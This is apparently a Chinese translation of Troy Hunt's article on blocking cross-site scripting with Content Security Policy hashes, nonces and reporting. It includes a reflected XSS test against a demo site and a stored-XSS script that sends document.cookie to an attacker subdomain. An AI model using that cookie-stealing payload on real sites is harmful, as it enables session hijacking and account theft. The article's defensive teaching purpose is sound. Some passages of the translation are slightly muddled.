导语:事实证明,对于黑客来说,对网站进行攻击仍然是一件非常让人有成就的挑战,第一个被使用的网站攻击工具便是XSS模块。

55704068863b3.jpg

事实证明,对于黑客来说,对网站进行攻击仍然是一件非常让人有成就的挑战,第一个被使用的网站攻击工具便是XSS模块。我在利用该模块进行攻击时, 使用的是Reflected XSS(反射跨站脚本攻击) 这是最常见也是最知名的XSS攻击,当网站客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。例如,如果我在渗透测试中搜索“foobar” 易受攻击的网站,就会会看到以下结果:

1.png

你可以在http://hackyourselffirst.troyhunt.com/Search?searchTerm=foobar网址查到搜索字段,这些字段是不受信任的数据。

然后,你可以在搜索框和标头中看到它出现在页面上,通过这个练习过程,我可以让参与者通过在查询字符串参数中构建XSS攻击来窃取受害者的身份验证cookie。其中练习时,首先要进行这个操作:

<a href="http://hackyourselffirst.troyhunt.com/Search?searchTerm=alert(0)" target="_self">
http://hackyourselffirst.troyhunt.com/Search?searchTerm=<script>alert(0)</script>

你会发现,你只是得到一个警告页面,并提示脚本标记是攻击者用来在你的网站上运行脚本的最基本的技术之一。细心的你可能会注意到这个攻击模式之所以被网站拒绝,是因为有一些非常基本的过滤(“<”字符导致攻击失败),不过很明显,攻击者试图想要通过这种方式实现什么,这个疑问我会在下面找机会讲解。

现在,你可以点此链接来看看我自己的内容安全策略。由于我几周前已经宣布加入和Report URI相关的组织,所以也就写了一些关于浏览器如何抵御刚刚演示的那种攻击以及Report URI的防护策略。

默认情况下,内联脚本不存在

让我们来看看下面这个基本的内容安全策略:

Content-Security-Policy: default-src 'self'

这样做只会允许浏览器加载从同一站点提供的内容作为返回此页眉的页面,没有从YouTube嵌入的外部视频,没有关闭你最喜爱的CDN的JavaScript库,也没有Google的分析或跟踪。另外,没有脚本块。这意味着如果我们把一个像Have I Been Pwned这样的网站应用了内容安全策略,这个源代码块就不会运行:

<script type="text/javascript">
    (function (i, s, o, g, r, a, m) {
        i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () {
            (i[r].q = i[r].q || []).push(arguments)
        }, i[r].l = 1 * new Date(); a = s.createElement(o),
        m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m)
    })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
    ga('create', 'UA-45816011-1', 'haveibeenpwned.com');
    ga('send', 'pageview');
</script>

它不会运行,因为它可能是恶意的。现在我们可以注意到这一点,并认定这只是Google Analytics的标准脚本,但浏览器是如何知道的呢?我的意思是,浏览器时如何判断出内容是恶意的还是非恶意的??这些内容并没有在请求中作为不可信的数据出现,因此浏览器的原生XSS防御系统不能被触发,顺便说一下,这个特性在“X-XSS-Protection:0”头文件中已被禁用了,但是XSS还是有很多的有更多的Reflected XSS。顺便说一下,虽然对XSS的分类没有明确的标准,但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), 基于DOM的XSS。例如,看看这个页面,你就会明白我的意思。举个例子,很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:

<form action="sendmessage.php" method="post'">
    <textarea name="message"> </textarea>
    <input type="submit" value="send" />
</form>

当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。

如果留言中什么也看不到,这肯定是有人在该页面上的其中做了手脚,如下所示:

<script>location.href="http://attacker.hackyourselffirst.troyhunt.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

现在,你网站上的所有Cookie都已发送到另一个完全不同的网站上了,这就是存储型XSS(persistent XSS),因为攻击实际上存储在数据库中。那浏览器究竟是通过设计来确定这个脚本的,还是被攻击者恶意嵌入的?我要说的是,这个差别根本无法分辨出。

这就是为什么内容安全策略在默认情况下会关闭脚本块的原因,不过在现实情况中,大多数网站在运行中,还会简单地运行任意脚本。事实上,世界上前100万个网站中98%都是这样做的。包括Google, Facebook, Amazon, PayPal等网站都发现这个漏洞。如果你密切关注漏洞赏金计划,会发现报道最多的问题属于XSS。为了避免跨站脚本,浏览器也有自己的过滤器,但安全研究人员总是能够设法绕过这些过滤器。

使用哈希进行保护

首先看看我在控制后台中得到的漏洞信息,当那个脚本块出现在 HAVE I BEEN PWNED中时,使用一个简单的内容安全策略:

5.png

你首先看到的是,可以使用 "unsafe-inline" 关键字来解决这个问题。这完全破坏了我在这里讨论的防御策略,通过这样做,任何脚本都可以运行。具有讽刺意味的是,今天98%的网站都是这样的。但是,这并不是我想要的结果,所以让我关注一下哈希的那条漏洞消息。

我可以在该漏洞消息中复制SHA-256哈希,并更改内容安全策略来执行此操作:

Content-Security-Policy: default-src 'self'; script-src 'sha256-blLDIhKaPEZDhc4WD45BC7pZxW4WBRp7E5Ne1wC/vdw='

就这样问题解决了,之所以有效,是因为脚本块的哈希在每次加载时都是相同的,所以我实际上在做的是“相信这个脚本是安全的”。通过设置白名单,当浏览器看到原来的脚本块会哈希它,当浏览器看到原始脚本块时,会将其进行哈希,并将其与内容安全策略比较,如果匹配就会运行。

使用Nonces

当我在公开场合介绍哈希方法时,经常会有人问“这是否意味着我需要在每次修改脚本时重新计算哈希值?”是的,确实是这样的,这会很麻烦。哈希方法不仅麻烦,而且在有些情况下,脚本块可能实际上是动态的,例如在https://www.troyhunt.com/上。还记得,开头我搜索“foobar”时,你在页面的标头和脚本块中都看到了它,对吗?以下是它实现的过程:

$('#searchTerm').val('foobar');

这个奇怪的过程说明,你可能真正需要一个包含有潜在恶意动态内容的脚本块,不过,这也同时意味着你不能返回一个哈希,因为你根本不知道脚本块将包含什么内容。虽然你可以通过动态构建整个过程,来计算哈希,然后在内容安全策略中返回,从而最终将脚本块呈现给页面,但这么复杂的过程不仅会让操作变得混乱而且还不利于维护。

这些都让我想到了在原始错误中提到的下一个特征,那就是Nonces。简而言之,Nonces是一个伪随机的一次性数字,更直白地说,它不是基于像白名单那样精确的脚本块完全依赖随机数。 另外,Nonces的部署比白名单更困难,因为它需要服务器端更改每个单独的页面与策略,Nonces包含脚本标签上的标头和属性,它看起来就像这样:

Content-Security-Policy: default-src 'self'; script-src 'nonce-4AEemGb0xJptoIGFP3Nd'
<script type="text/javascript" nonce="4AEemGb0xJptoIGFP3Nd">

请注意,内容安全策略中的值正好与脚本标签中的属性值完全匹配。严格地说,Nonces实际上并不是一个数字,它只是使用了base64编码。如此一来,Nonces的防御效果就非常有效,因为即使攻击者设法在页面上注入了自己的脚本标签,甚至是添加一个Nonces属性,他们也不会知道标头中的值是什么,所以最后还是无法匹配,浏览器也不会运行这些攻击脚本。虽然Nonces的防御策略给你提供了比哈希更大的灵活性,但新开发的应用程序仍存在 XSS,由于很多代码是用JavaScript写的,所以现在它们存在 DOM XSS漏洞,这些正是Nonces不能统一防御的错误类型。下面就是保护浏览器免受潜在的恶意脚本攻击的过程:

screenshot-www.4hou.com-2017-11-23-15-11-26-252.png

顺便说一下,如果你通过搜索 HAVE I BEEN PWNED,就可以知道Google Analytics内联脚本为什么使用Nonces而不是哈希。由于在本文所列举的例子中,我用来生成内容安全策略的库目前不支持哈希,所以脚本块中没有可能被操纵的动态内容,这意味着,Nonces的安全策略非常奏效。

Gotchas

以上的这些安全策略的操作都很复杂,如果你不小心把内容安全策略搞错了,那后果将不卡设想,为了对整个过程进行精准的记录,我就不得不使用通Report URI这样的服务来记录整个过程。例如,在写这篇文章的时候,我重建了许多 HAVE I BEEN PWNED的内容安全策略,因为我想清理一些东西,所以我把内容安全策略放在了 "report-only"的模式,并监测了几天,这意味着我将收到违规操作的报告,除此之外,什么也没有被攻破。

事实证明,Edge中存在一个漏洞,导致它忽略了非内联脚本的Nonces。这意味着什么呢?你知道我是如何使用上面的Nonces来信任一个脚本块吗?其实你也可以通过做这样的事情来信任外部脚本:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js" nonce="ZTIwNzkzNDUtOGQxNS00MzQ1LWJlNDYtMjhjODgwMWY5MDJk"></script>

除了使用Nonces外,你还可以使用基于主机的白名单,这意味着如果你要在Edge中加载内容,则需要将cdnjs.cloudflare.com添加为HTML <script> 标签的 src 属性。当然,一旦你这样做了,那么你就不再需要在上面的脚本标签上使用Nonces了,这样做是为了方便安全策略的执行。

建议你在使用这些安全策略之前,始终监控你的内容安全策略报告和 "TEST IN PRODUCTION" 报告。

虽然这么做直接影响了我运行的速度,但这也是实现内容安全策略的一个重要部分。你会看到 HAVE I BEEN PWNED现在正在执行内容安全策略,所以我得到了它所提供的所有安全特性。

源链接

Hacking more

...